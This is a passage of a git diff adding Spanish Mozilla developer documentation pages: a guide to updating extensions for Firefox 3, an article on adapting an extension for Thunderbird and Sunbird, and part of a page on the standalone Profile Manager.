+ Antes de continuar, queremos sugerirte algo: si el único cambio que requiere tu extensión es modificar el campo maxVersion en el manifiesto de instalación, la extensión está disponible en el servidor <a class="link-https" href="https://addons.mozilla.org/es-ES/firefox/" title="https://addons.mozilla.org/es-ES/firefox/">addons.mozilla.org</a> y ¡no necesitarás actualizar tu extensión a una nueva versión! Simplemente usa el Panel de Control para desarrolladores en AMO para modificar <code>maxVersion</code>. De esta manera, puedes evitar el trabajo de tener que volver a revisar tu extensión.</p>
+
+<p> </p>
+
+<h3 id="1er_paso:_Actualiza_el_manifiesto_de_instalaci.C3.B3n" name="1er_paso:_Actualiza_el_manifiesto_de_instalaci.C3.B3n">Paso 1: Actualiza el manifiesto de instalación</h3>
+
+<p>El primer paso —y para la mayoría de las extensiones, el único que será necesario— es actualizar el archivo <code>install.rdf</code> dentro del <a href="/es/Manifiesto_de_instalaci%C3%B3n" title="es/Manifiesto_de_instalación">manifiesto de instalación</a> para indicar la compatibilidad con Firefox 3.</p>
+
+<p>Sólo debes buscar la línea que indica la máxima versión compatible de Firefox, lo que para Firefox 2, probablemente sea:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Cámbiala para indicar compatibilidad con Firefox 3:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;3.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>A continuación, reinstala la extensión.</p>
+
+<p>Recuerda que en Firefox 3 no necesitas incluir el ".0" extra en el número de la versión. Por lo tanto, en lugar de escribir "3.0.0.*", sólo necesitas usar "3.0.*".</p>
+
+<p>Ha habido (y continuará habiendo) una serie de cambios en las APIs, lo que muy probablemente averiará algunas extensiones. Aún estamos trabajando para confeccionar una lista completa de estos cambios.</p>
+
+<p>Si tu extensión todavía usa un script <code><a href='\"es/Install.js\"'>Install.js</a></code> en vez de un <a href='\"es/Manifiesto_de_instalaci%c3%b3n\"'>manifiesto de instalación</a>, necesitas hacer la transición a un manifiesto de instalación lo más pronto posible. Firefox 3 no implementará el script <code>install.js</code> en documentos XPI.</p>
+
+<h4 id="A.C3.B1ade_descripciones_al_manifiesto_de_instalaci.C3.B3n" name="A.C3.B1ade_descripciones_al_manifiesto_de_instalaci.C3.B3n">Agregar localizaciones al manifiesto de instalación</h4>
+
+<p>Firefox 3 cuenta con tres nuevas propiedades en el manifiesto de instalación para especificar descripciones de localización. Los métodos antiguos todavía funcionan. Sin embargo, los nuevos permiten que Firefox escoja la localización, aún cuando la extensión esté deshabilitada o pendiente de instalación. Visita <a href="/es/Traducir_las_descripciones_de_las_extensiones" title="es/Traducir_las_descripciones_de_las_extensiones">Localizar las_descripciones_de_las_extensiones</a> para más detalles.</p>
+
+<h3 id="2do_paso:_Aseg.C3.BArese_de_proveer_actualizaciones_seguras" name="2do_paso:_Aseg.C3.BArese_de_proveer_actualizaciones_seguras">Paso 2: Asegúrate de suministrar actualizaciones seguras</h3>
+
+<p>Si suministras extensiones por tu propia cuenta y no usas un proveedor de hosting seguro como <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>, debes asegurarte de suministrar algún método seguro para la actualización de tus extensiones. Esto puede hacerse de dos formas: puedes usar un hosting con servicio de SSL o bien, puedes usar claves criptográficas para firmar la información de actualización. Lee <a href="/es/Versionado,_actualizaci%C3%B3n_y_compatibilidad_de_extensiones" title="es/Versionado,_actualización_y_compatibilidad_de_extensiones">Cómo hacer actualizaciones seguras</a> para más información.</p>
+
+<h3 id="3er_paso:_Resolviendo_problemas_con_APIs_cambiados" name="3er_paso:_Resolviendo_problemas_con_APIs_cambiados">Paso 3: Debes estar al tanto de los cambios en las APIs</h3>
+
+<p>Muchas APIs han sido modificadas de forma significativa. Los cambios más importantes, que seguramente afectarán a muchas extensiones son:</p>
+
+<h4 id="DOM" name="DOM">DOM</h4>
+
+<p>Los nodos de documentos externos deberán copiarse idénticamente usando <code><a href="../../../../en/DOM/document.importNode" rel="internal">importNode()</a></code> (o adoptarlos usando <code><a href="../../../../en/DOM/document.adoptNode" rel="internal">adoptNode()</a></code>) antes de poder insertarlos en el documento actual. Para más información acerca de cuestiones relacionadas con <code><a href="../../../../en/DOM/element.ownerDocument" rel="internal">ownerDocument</a></code>, visita <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="external nofollow" title="http://www.w3.org/DOM/faq.html#ownerdoc">W3C DOM FAQ</a>.</p>
+
+<p>Actualmente, Firefox no exige hacerlo aunque sí lo hizo durante algún tiempo, durante el desarrollo de Firefox 3. Lo que ocurrió fue que muchos sitios sufrían averías cuando esta política era obligatoria. Nuestra recomendación para los desarrolladores web es que corrijan su código para cumplir con esta regla y así lograr una mejor compatibilidad a futuro.</p>
+
+<h4 id="Enlaces_e_Historia" name="Enlaces_e_Historia">Marcadores e Historial</h4>
+
+<p>Si de alguna forma tu extensión tiene acceso a Marcadores o Historial, necesitarás un gran esfuerzo para hacer que sea compatible con Firefox 3. Las APIs antiguas que daban acceso a esta información han sido reemplazadas por la nueva arquitectura <a href="/es/Cat%C3%A1logo" title="es/Catálogo">Catálogo (Biblioteca)</a>. Visita la <a href="/es/Lugares/Gu%C3%ADa_para_migraci%C3%B3n_con_lugares" title="es/Lugares/Guía_para_migración_con_lugares">Guía para la migración a Catálogo (Biblioteca)</a> para más detalles acerca de cómo actualizar tus extensiones para el uso de las APIs de Catálogo (Biblioteca).</p>
+
+<h4 id="Control_de_descargas" name="Control_de_descargas"><span><span>Administrador de descargas</span></span></h4>
+
+<p>La API del Administrador de descargas ha cambiado ligeramente debido a la transición del almacén de datos RDF al uso de la API <a href="/es/Almacenamiento" title="es/Almacenamiento">Almacenamiento</a>. Esto debería ser una transición sencilla y fácil. Además , se ha modificado la API que controla los procesos de descarga para permitir varios receptores del administrador de descargas. Visita {{ Interface("nsIDownloadManager") }}, {{ Interface("nsIDownloadProgressListener") }} y <a href="../../../../en/Monitoring_downloads" rel="internal">Controlar descargas</a> para más información.</p>
+
+<h4 id="Control_de_contrase.C3.B1a" name="Control_de_contrase.C3.B1a">Administrador de contraseñas</h4>
+
+<p>Si tu extensión tiene acceso a información de inicio de sesión de usuario en el Administrador de contraseñas, deberás actualizarla para poder utilizar la nueva API para el Administrador de inicio de sesión.</p>
+
+<ul>
+ <li>El artículo <a class="new" href="../../../../es/Using_nsILoginManager" rel="internal">Utilizar nsILoginManager</a> incluye ejemplos y hasta una demostración de cómo debes escribir extensiones que funcionen tanto con el Administrador de contraseñas como con el Administrador de inicio de sesión, de manera que ambos funcionen con Firefox 3 y versiones anteriores.</li>
+ <li><code><a href="/en/nsILoginInfo" title="en/nsILoginInfo">nsILoginInfo</a></code></li>
+ <li><code><a href="/en/nsILoginManager" title="en/nsILoginManager">nsILoginManager</a></code></li>
+</ul>
+
+<p style="text-align: left;">También puedes sobrescribir el almacén del administrador de contraseñas interno si quieres ofrecer tu propia implementación del almacén de contraseñas en la extensión. Visita <a class="new" href="../../../../es/Creating_a_Login_Manager_storage_module" rel="internal">Crear un módulo de almacenamiento para el Administrador de inicio de sesión</a> para más detalles</p>
+
+<h4 id="Ventanas_emergentes_(Menús_Menús_contextuales_Tooltips_y_Paneles)"><span><span>Ventanas emergentes (Menús, Menús contextuales, Tooltips y Paneles)</span></span></h4>
+
+<p>En Firefox 3, se ha modificado sustancialmente el sistema XUL de ventanas emergentes. El sistema de ventanas emergentes ahora contempla menús principales, menús contextuales y paneles. Se ha creado una guía para <a class="new" href="../../../../es/XUL/PopupGuide" rel="internal">Utilizar Ventanas emergentes</a> que detalla cómo funciona este sistema. Algo que debes tener en cuenta, es que se desaconseja el uso de <code>popup.<span class="lang lang-en"><a href="../../../../en/XUL/Method/showPopup" rel="internal">showPopup</a></span></code> en favor de los nuevos <code>popup.<span class="lang lang-en"><a href="../../../../en/XUL/Method/openPopup" rel="internal">openPopup</a></span></code> y <code>popup.<span class="lang lang-en"><a href="../../../../en/XUL/Method/openPopupAtScreen" rel="internal">openPopupAtScreen</a></span></code>.</p>
+
+<div id="section_10">
+<h4 class="editable" id="Autocompletar"><span><span>Autocompletar</span> </span></h4>
+</div>
+
+<p>El método <code><a class="new" href="../../../../es/NsIAutoCompleteController#handleEnter.28.29" rel="internal">handleEnter()</a></code> de la interfaz <span class="lang lang-es"><code><a class="new" href="../../../../es/nsIAutoCompleteController" rel="internal">nsIAutoCompleteController</a></code></span> ha cambiado para aceptar un argumento que indique si el texto ha sido seleccionado desde una ventana emergente para Autocompletar o bien, por el usuario que ha pulsado la tecla Entrar (Enter) después de ingresar texto.</p>
+
+<h4 id="DOMParser" name="DOMParser">DOMParser</h4>
+
+<ul>
+ <li>Cuando se inicia una instancia de <code>DOMParser</code>, ésta hereda el código de la llamada principal, además de los códigos <code>documentURI</code> y <code>baseURI</code> de la ventana del constructor de donde proviene.</li>
+ <li>Si el llamante tiene privilegios UniversalXPConnect, puede pasar parámetros a <code>new DOMParser()</code>. Si se pasan menos de tres parámetros, los parámetros restantes se pasarán con el valor <code>null</code> de forma predeterminada.
+  <ul>
+   <li>El primer parámetro es el principal que se debe utilizar y por esto, se sobrescribe el valor principal predeterminado generalmente heredado.</li>
+   <li>El segundo parámetro es el <code>documentURI</code> que se debe utilizar.</li>
+   <li>El tercer parámetro es el <code>baseURI</code> que se debe utilizar.</li>
+  </ul>
+ </li>
+ <li>Si inicias un <code>DOMParser</code> usando una instrucción como <code>createInstance()</code> y no llamas al método <code>init()</code> de <code>DOMParser</code>, al intentar iniciar la operación de análisis, se creará e iniciará automáticamente un <code>DOMParser</code> con un principal nulo y punteros <code>null</code> para <code>documentURI</code> y <code>baseURI</code>.</li>
+</ul>
+
+<h4 id="Interfaces_removidas" name="Interfaces_removidas">Interfaces eliminadas</h4>
+
+<p>Las siguientes interfaces han sido eliminadas en Gecko 1.9, el motor de renderizado de Firefox 3. Si tu extensión utiliza cualquiera de estas interfaces, deberás actualizar tu código:</p>
+
+<ul>
+ <li><code>nsIDOMPaintListener</code></li>
+ <li><code>nsIDOMScrollListener</code></li>
+ <li><code>nsIDOMMutationListener</code></li>
+ <li><code>nsIDOMPageTransitionListener</code></li>
+ <li><code>nsICloseAllWindows</code> (Lee el {{ Bug(386200) }})</li>
+</ul>
+
+<h3 id="4to_paso:_Buscar_cambios_importantes_a_chrome" name="4to_paso:_Buscar_cambios_importantes_a_chrome">Paso 4: Comprueba los cambios importantes en el chrome</h3>
+
+<p>Se ha producido un cambio menor en el chrome que puede requerir cambios en tu código. Se ha añadido un nuevo <code>vbox</code> llamado "browser-bottombox", que integra la barra de búsqueda y la barra de estado en la parte inferior de la ventana del navegador. Aunque esto no afecta la apariencia de la pantalla, puede que afecte tu extensión si el chrome se superpone, en relación a los elementos descriptos.</p>
+
+<p>Por ejemplo, si has superpuesto algún elemento del chrome antes de la barra de estado de la siguiente manera:</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/window&gt;
+</pre>
+
+<p>Debes cambiar tu código a algo que se parezca a:</p>
+
+<pre>&lt;vbox id="browser-bottombox"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>O bien, emplear la siguiente técnica para hacer que la superposición funcione en Firefox 2 y Firefox 3 por igual:</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;vbox id="browser-bottombox" insertbefore="status-bar"&gt;
+    &lt;something insertbefore="status-bar" /&gt;
+  &lt;vbox&gt;
+&lt;/window&gt;
+</pre>
+
+<p>{{ Note("Este cambio es efectivo para Firefox 3 beta 4 y la prebeta 4.") }}</p>
+
+<h4 id="Otros_cambios" name="Otros_cambios">Otros cambios</h4>
+
+<p><em>Añade aquí cambios sencillos que debas realizar cuando actualizas tu extensión para que funcione con Firefox 3</em><em>.</em></p>
+
+<ul>
+ <li>Por razones de seguridad, se ha dejado de implementar <code><a class="external" rel="freelink">chrome://browser/base/utilityOverlay.js</a></code>. Si lo estabas usando, deberás cambiarlo por <code><a class="external" rel="freelink">chrome://browser/content/utilityOverlay.js</a></code>.</li>
+ <li>Para implementar <span class="lang lang-es"><code><a class="new" href="../../../../es/nsIAboutModule" rel="internal">nsIAboutModule</a></code></span> ahora debes incluir el método <code>getURIFlags</code>. Visita <span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl" rel="external nofollow" title="http://mxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl">nsIAboutModule.idl</a></span> para consultar la documentación. Esto afecta a las extensiones que brinden nuevas URIs del tipo <code>about:</code>. ( <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=337746" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=337746">bug 337746</a> </span>)</li>
+ <li>El elemento <span class="lang lang-*"><a href="../../../../en/XUL/tabbrowser" rel="internal">tabbrowser</a></span> ya no forma parte del "conjunto de herramientas" ( <span class="lang lang-es"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=339964" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=339964">bug 339964</a> </span>). Esto significa que este elemento ya no está disponible en aplicaciones y extensiones XUL. Este elemento sigue siendo parte de la ventana principal de Firefox (browser.xul).</li>
+ <li>Es necesario documentar los cambios en <a class="new" href="../../../../es/NsISupports_proxies" rel="internal">nsISupports proxies</a> <a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8" rel="external nofollow" title="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8">[1]</a> y posiblemente, también aquellos relacionados con el procesamiento de interfaces.</li>
+ <li>Si utilizas instrucciones de proceso XML, como por ejemplo <code>&lt;?xml-stylesheet ?&gt;</code> en tus archivos XUL, ten en cuenta los cambios descriptos en el <span class="lang lang-es"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=319654" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=319654">bug 319654</a> </span>:
+  <ol>
+   <li>Se han añadido los XML PIs al DOM del documento XUL. Esto significa que no se garantiza que <span class="lang lang-*"><code><a href="../../../../en/DOM/document.firstChild" rel="internal">document.firstChild</a></code></span> sea el elemento raíz. Si necesitas hacer referencia al documento raíz en tu script, usa <span class="lang lang-*"><code><a href="../../../../en/DOM/document.documentElement" rel="internal">document.documentElement</a></code></span> en su lugar.</li>
+   <li>Las instrucciones de procesamiento <code>&lt;?xml-stylesheet ?&gt;</code> y <code>&lt;?xul-overlay ?&gt;</code> ahora no tienen efecto fuera del prólogo del documento.</li>
+  </ol>
+ </li>
+ <li>Cuando se carga contenido web (es decir, se carga la página en el navegador) no se inicia <code>window.addEventListener("load", myFunc, true)</code>. Esto ocurre debido a que el <span class="lang lang-es"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=296639" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=296639">bug 296639</a> </span>cambia la forma de comunicación entre las ventanas internas y externas. Para corregir esto en forma sencilla, emplea <code>gBrowser.addEventListener("load", myFunc, true)</code>, según se describe <a class="new" href="../../../../es/Code_snippets/Tabbed_browser#Detecting_page_load" rel="internal">aquí</a>. Además, funciona también para Firefox 2.</li>
+ <li><code>content.window.getSelection()</code> ofrece un objeto (que puede ser convertido en cadena con <code>toString()</code>). Se desaconseja el uso de <code>content.document.getSelection()</code> que devuelve una cadena.</li>
+ <li>A partir de Firefox 2, se desaconsejó el uso de <code>event.preventBubble()</code> y actualmente, ha desaparecido en Firefox 3. En su lugar, usa <a class="new" href="../../../../es/DOM/event.stopPropagation" rel="internal"><code>event.stopPropagation()</code></a>, que también funciona en Firefox 2.</li>
+ <li>Los contadores de tiempo que se inician usando <code>setTimeout()</code> ahora están bloqueados por las ventanas en modo 'modal' gracias a la corrección hecha en el <span class="lang lang-es"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=52209" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=52209">bug 52209</a> </span>. En su lugar, podrías usar <code>nsITimer</code>.</li>
+ <li>Si en tu extensión necesitas permitir una fuente no fiable (un sitio web, por ejemplo) para acceder al chrome de la extensión, debes usar el nuevo flag <a class="new" href="../../../../es/Chrome_Registration#contentaccessible" rel="internal"><code>contentaccessible</code> flag</a>.</li>
+</ul>
diff --git a/files/es/actualizar_una_extensión_para_que_soporte_múltiples_aplicaciones_de_mozilla/index.html b/files/es/actualizar_una_extensión_para_que_soporte_múltiples_aplicaciones_de_mozilla/index.html
new file mode 100644
index 0000000000..b29ef38baf
--- /dev/null
+++ b/files/es/actualizar_una_extensión_para_que_soporte_múltiples_aplicaciones_de_mozilla/index.html
@@ -0,0 +1,54 @@
+---
+title: Actualizar una extensión para que soporte múltiples aplicaciones de Mozilla
+slug: Actualizar_una_extensión_para_que_soporte_múltiples_aplicaciones_de_Mozilla
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+---
+<p> </p>
+<p>Este artículo muestra cómo coger una extensión existente y actualizarla para que pueda ser utilizada en otras aplicaciones de Mozilla. Utilizaremos como base la extensión de visualización de stocks creada en los artículos anteriores de esta serie, actualizándola para que pueda ser utilizada en Thunderbird y Sunbird (las anteriores versiones sólo funcionaban en Firefox).</p>
+<p>Si aún no has creado una extensión o te gustaría refrescar la memoria, echa una ojeada a los anteriores artículos de la serie:</p>
+<ul> <li><a href="/es/Crear_una_extensi%C3%B3n_en_la_barra_de_estado" title="es/Crear_una_extensión_en_la_barra_de_estado">Crear una extensión en la barra de estado</a></li> <li><a href="/es/Crear_una_extensi%C3%B3n_din%C3%A1mica_en_la_barra_de_estado" title="es/Crear_una_extensión_dinámica_en_la_barra_de_estado">Crear una extensión dinámica en la barra de estado</a></li> <li><a href="/es/A%C3%B1adir_preferencias_a_una_extensi%C3%B3n" title="es/Añadir_preferencias_a_una_extensión">Añadir preferencias a una extensión</a></li> <li><a href="/es/Traducir_una_extensi%C3%B3n" title="es/Traducir_una_extensión">Traducir una extensión</a></li>
+</ul>
+<h2 id="Descargar_el_ejemplo">Descargar el ejemplo</h2>
+<p>Puedes descargar el código de ejemplo de este artículo para que puedas compararlo con el artículo o para utilizarlo como base para tu propia extensión.</p>
+<ul> <li><a class="external" href="http://developer.mozilla.org/samples/extension-samples/stockwatcher-multiapp.zip">Descargar el ejemplo</a></li>
+</ul>
+<h2 id="Actualizar_el_manifiesto_de_instalaci.C3.B3n">Actualizar el manifiesto de instalación</h2>
+<p>El primer paso es revisar el <a href="/es/Manifiesto_de_instalaci%C3%B3n" title="es/Manifiesto_de_instalación">manifiesto de instalación</a> para indicar que puede ser instalado en Thunderbird y Sunbird. Esto se hace añadiendo nuevas etiquetas <code>&lt;targetApplication&gt;</code> al fichero <code>install.rdf</code>, como esta:</p>
+<pre>    &lt;!-- Describe las versiones de Thunderbird soportadas --&gt;
+
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{3550f703-e582-4d05-9a08-453d09bdfdc6}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Describe las versiones de Sunbird soportadas --&gt;
+
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;	{718e30fb-e89b-41dd-9da7-e25a45638b28}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;0.2&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;0.4.*&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+</pre>
+<p>Estos dos bloques indican que la extensión soporta las versiones de la 1.5 a la 2.0.0.x de Thunderbird y las de la 0.2 a la 0.4.x de Sunbird.</p>
+<p>Después de introducir este código, puedes instalar la extensión en Firefox, Thunderbird o Sundbird, aunque no obtendrás ningún efecto ni en Thunderbird ni en Sunbird.</p>
+<p>Esto pasa porque no hay nada que le diga a esas dos aplicaciones qué hacer con el chrome proporcionado por la extensión. Ahí es donde el <a href="/es/Manifiesto_chrome" title="es/Manifiesto_chrome">manifiesto chrome</a> entra en acción.</p>
+<h2 id="Actualizar_el_manifiesto_chrome">Actualizar el manifiesto chrome</h2>
+<p>¿Recuerdas el <a href="/es/Crear_una_extensi%C3%B3n_en_la_barra_de_estado" title="es/Crear_una_extensión_en_la_barra_de_estado">primer artículo de la serie</a> cuando creamos nuestro manifiesto chrome, el cual no hemos tocado desde entonces? Es hora de tocarlo. Como podrás (o no) recordar, dicho fichero le dice a la aplicación sobre qué código XUL necesita la interfaz de tu extensión ser mezclada.</p>
+<p>Para Firefox, sobrecargamos el <code>browser.xul</code>, que describe la ventana del navegador de Firefox. Necesitamos añadir líneas al manifiesto para Thunderbird y Sunbird, así:</p>
+<pre># Thunderbird
+overlay chrome://messenger/content/messenger.xul chrome://stockwatcher2/content/stockwatcher2.xul
+
+# Sunbird
+
+overlay chrome://calendar/content/calendar.xul chrome://stockwatcher2/content/stockwatcher2.xul
+</pre>
+<p>Estas líneas provocan que la ventana principal con la lista de mensajes de Thunderbird y la ventana principal en Sundbird sean el objetivo de la sobrecarga que aplicaremos en el fichero <code>stockwatcher2.xul</code>.</p>
+<p>Con estos dos simples giros, esta extensión funcionará en las tres aplicaciones y lo harà exactamente de la misma forma en todas ellas.</p>
diff --git a/files/es/administrador_de_perfiles/index.html b/files/es/administrador_de_perfiles/index.html
new file mode 100644
index 0000000000..ff800899ce
--- /dev/null
+++ b/files/es/administrador_de_perfiles/index.html
@@ -0,0 +1,52 @@
+---
+title: Administrador de perfiles
+slug: Administrador_de_perfiles
+tags:
+  - perfiles
+translation_of: Mozilla/Profile_Manager
+---
+<p>Firefox y otras aplicaciones XULRunner guardan la configuración y los datos de los usuarios en carpetas especiales llamadas <a class="external" href="http://support.mozilla.com/es/kb/Perfiles" title="http://support.mozilla.com/es/kb/Perfiles">perfiles</a>. Firefox proporciona un applet integrado para la <a class="link-https" href="https://support.mozilla.org/es/kb/Administrar%20perfiles" title="https://support.mozilla.org/es/kb/Administrar%20perfiles">gestión de estos perfiles</a>, pero con el tiempo va a desaparecer (ver <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=214675" title="https://bugzilla.mozilla.org/show_bug.cgi?id=214675">bug 214675</a>), por lo que se ha creado una nueva aplicación de Administrador de perfiles independiente que funciona con cualquier aplicación XULRunner y que tiene muchas características que no se encuentran en la versión integrada de Firefox versión.</p>
+<h2 id="Descargar">Descargar</h2>
+<h4 id="Binarios">Binarios</h4>
+<p><br> <a name="downloading">Puedes descargar el binario del  Administrador de perfiles desde</a><a href="/ftp://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0" title=" ftp://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/"> ftp://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/</a>. No hay instalador, sólo tienes que  extraer los archivos desde el archivo.<br> <br> Requisitos del sistema:</p>
+<ul> <li>Mac: procesador Intel, i386 o x86_64</li> <li>Linux: cualquier versión capaz de funcionar con Firefox 4.0</li> <li>Windows: XP o posterior</li>
+</ul>
+<h4 id="El_código_fuente">El código fuente</h4>
+<p>También puedes descargar el código fuente:<br> <br> <code>hg clone <a class=" external" href="http://hg.mozilla.org/automation/profilemanager/" rel="freelink">http://hg.mozilla.org/automation/profilemanager/</a></code><br> <br> Las Instrucciones para la compilación pueden encontrarse en <a class="external" href="http://hg.mozilla.org/automation/profilemanager/file/tip/BUILD.txt" title="http://hg.mozilla.org/automation/profilemanager/file/tip/BUILD.txt">BUILD.txt</a>.</p>
+<h2 id="Informar_sobre_fallos">Informar sobre fallos</h2>
+<p>Los errores sobre el Administrador de perfiles deberán cursarse en Bugzilla, en <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing&amp;Component=ProfileManager" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing&amp;Component=ProfileManager">Testing - ProfileManager</a>.</p>
+<h2 id="Iniciar_el_Administrador_de_perfiles"><br> Iniciar el Administrador de perfiles</h2>
+<p><a name="starting">Para iniciar el Administrador de perfiles, simplemente lanza profilemanager.exe (en Windows) o profilemanager-bin (en Linux y Mac). De forma predeterminada, el Administrador de perfiles gestionará los perfiles de Firefox, pero también se puede utilizar para trabajar con perfiles de otras aplicaciones de xulrunner, como Thunderbird o SeaMonkey. Para utilizar el Administrador de perfiles con una aplicación distinta a Firefox, tienes que lanzarla utilizando el nombre de la aplicación como un argumento, por ejemplo:<br> <br> <code>bin profilemanager-seamonkey</code></a></p><a name="starting">
+<p> </p>
+<h2 id="Perfiles_y_versiones_de_las_aplicaciones">Perfiles y versiones de las aplicaciones</h2>
+</a><p><a name="starting"></a><a name="starting">El Administrador de perfiles gestiona dos listas diferentes: una de los perfiles de usuario y la otra de las versiones de aplicaciones que pueden ser utilizadas con los perfiles. De forma predeterminada, esto significa que sigue una lista de aplicaciones de Firefox que están instalados en tu sistema y ​​una lista de perfiles para el uso de Firefox.<br> <br> Un perfil individual puede vincularse a una instalación específica de Firefox, de modo que la versión de Firefox se iniciará cuando ese perfil se haya seleccionado. Por ejemplo, Perfil A podría estar vinculado con una copia de Firefox 3.6.10, mientras que Perfil B podría estar vinculado con una copia de Firefox 3.5.3.<br> <br> Cuando se inicia, el Administrador de perfiles se verá en algunas ubicaciones predeterminadas para las versiones instaladas de Firefox (u otra aplicación con la que estés utilizando el Administrador de perfiles). Además, puedes agregar manualmente las versiones de Firefox haciendo clic en el botón "Administrar versiones de Firefox ..." :</a></p><a name="starting">
+<p><br> <img alt="" style=""><br>  <br> <br> Cada versión de Firefox en la lista tiene las siguientes propiedades: la ruta, la versión y predeterminada. La propiedad predeterminada indica que esta versión de Firefox se puede utilizar con perfiles que no tienen una versión de la aplicación específica asociada con ellos.</p>
+<h2 id="Creación_de_un_perfil">Creación de un perfil</h2>
+</a><p><a name="starting"><br> </a><a name="create">Para crear un nuevo perfil, haz clic en el botón Nuevo de la barra de herramientas del Administrador de perfiles de. Aparecerá un diálogo que te permite especificar el nombre del perfil y, opcionalmente, la ruta del perfil, y la versión de Firefox (u otra aplicación) que se usará con este perfil:</a></p><a name="create">
+<p><img alt="" style=""></p>
+<p> </p>
+<h2 id="Lanzar_Firefox_con_un_perfil">Lanzar Firefox con un perfil</h2>
+</a><p><a name="create"><br> </a><a name="launching">Para lanzar Firefox con un perfil específico, selecciona el perfil en la ventana principal y pulsa el botón "Iniciar Firefox": Firefox se iniciará con ese perfil y se cerrará el Administrador de perfiles. La versión de Firefox que se lanzará se indica en el menú desplegable de la "versión de Firefox" situado en el cuadro Opciones de lanzamiento:</a></p><a name="launching">
+</a><p><a name="launching"><img alt="" style=""><br> <br> Hay varias opciones de lanzamiento adicionales disponibles para Firefox que permiten lanzar el navegador con varios argumentos de línea de comandos. Ver </a><a href="/en/Command_Line_Options" title="en/Command_Line_Options">opciones de línea de comandos</a> para obtener una descripción de los mismos.</p>
+<table style="width: 400px;"> <thead> <tr> <th scope="col">Opción de lanzamiento</th> <th scope="col">Argumento de línea de comandos</th> </tr> </thead> <tbody> <tr> <td>Ejecutar Firefox en modo desconexión</td> <td> <p><a href="/en/Command_Line_Options#-offline" title="https://developer.mozilla.org/en/Command_Line_Options#-offline">-offline</a></p> <p> </p> </td> </tr> <tr> <td>Ejecutar Firefox  en modo seguro</td> <td><a href="/en/Command_Line_Options#-safe-mode" title="https://developer.mozilla.org/en/Command_Line_Options#-safe-mode">-safe-mode</a></td> </tr> <tr> <td>Iniciar Firefox con una consola</td> <td><a href="/en/Command_Line_Options#-console" title="https://developer.mozilla.org/en/Command_Line_Options#-console">-console</a></td> </tr> <tr> <td>Iniciar nueva instancia</td> <td><a href="/en/Command_Line_Options#-no-remote" title="https://developer.mozilla.org/en/Command_Line_Options#-no-remote">-no-remote</a></td> </tr> </tbody>
+</table>
+<p><br> <strong>Nota</strong>: no es posible iniciar una segunda instancia de Firefox sin pasarle el argumento de línea de comandos -no-remote. Por esta razón, si se intenta lanzar Firefox usando el Administrador de perfiles y detecta que hay otra instancia de Firefox que ya se está ejecutando, se agregará automáticamente el argumento -no-remote, independientemente de si marcaste esta opción de lanzamiento.</p>
+<h2 id="Perfiles_bloqueados">Perfiles bloqueados</h2>
+<p><a name="locked">Algunos perfiles pueden mostrarse como bloqueados en la ventana principal. Estos perfiles están siendo utilizados por una instancia de Firefox. Si intentas realizar cualquier operación en un perfil bloqueado, recibirás una advertencia. Y si decides continuar a pesar de la advertencia, pueden producirse errores o dañar un perfil.<br> <br> Es muy recomendable evitar las operaciones en los perfiles bloqueados. Si necesitas hacer algo con un perfil bloqueado, cierra la instancia de Firefox que está utilizando el primer perfil.</a></p><a name="locked">
+<p> </p>
+<h2 id="Realizar_copias_de_seguridad_y_restaurar_perfiles">Realizar copias de seguridad y restaurar perfiles</h2>
+<p>El Administrador de perfiles ofrece dos mecanismos diferentes para realizar copias de seguridad y restauración de perfiles.</p>
+<h4 id="Carpeta_de_la_copia_de_seguridad">Carpeta de la copia de seguridad</h4>
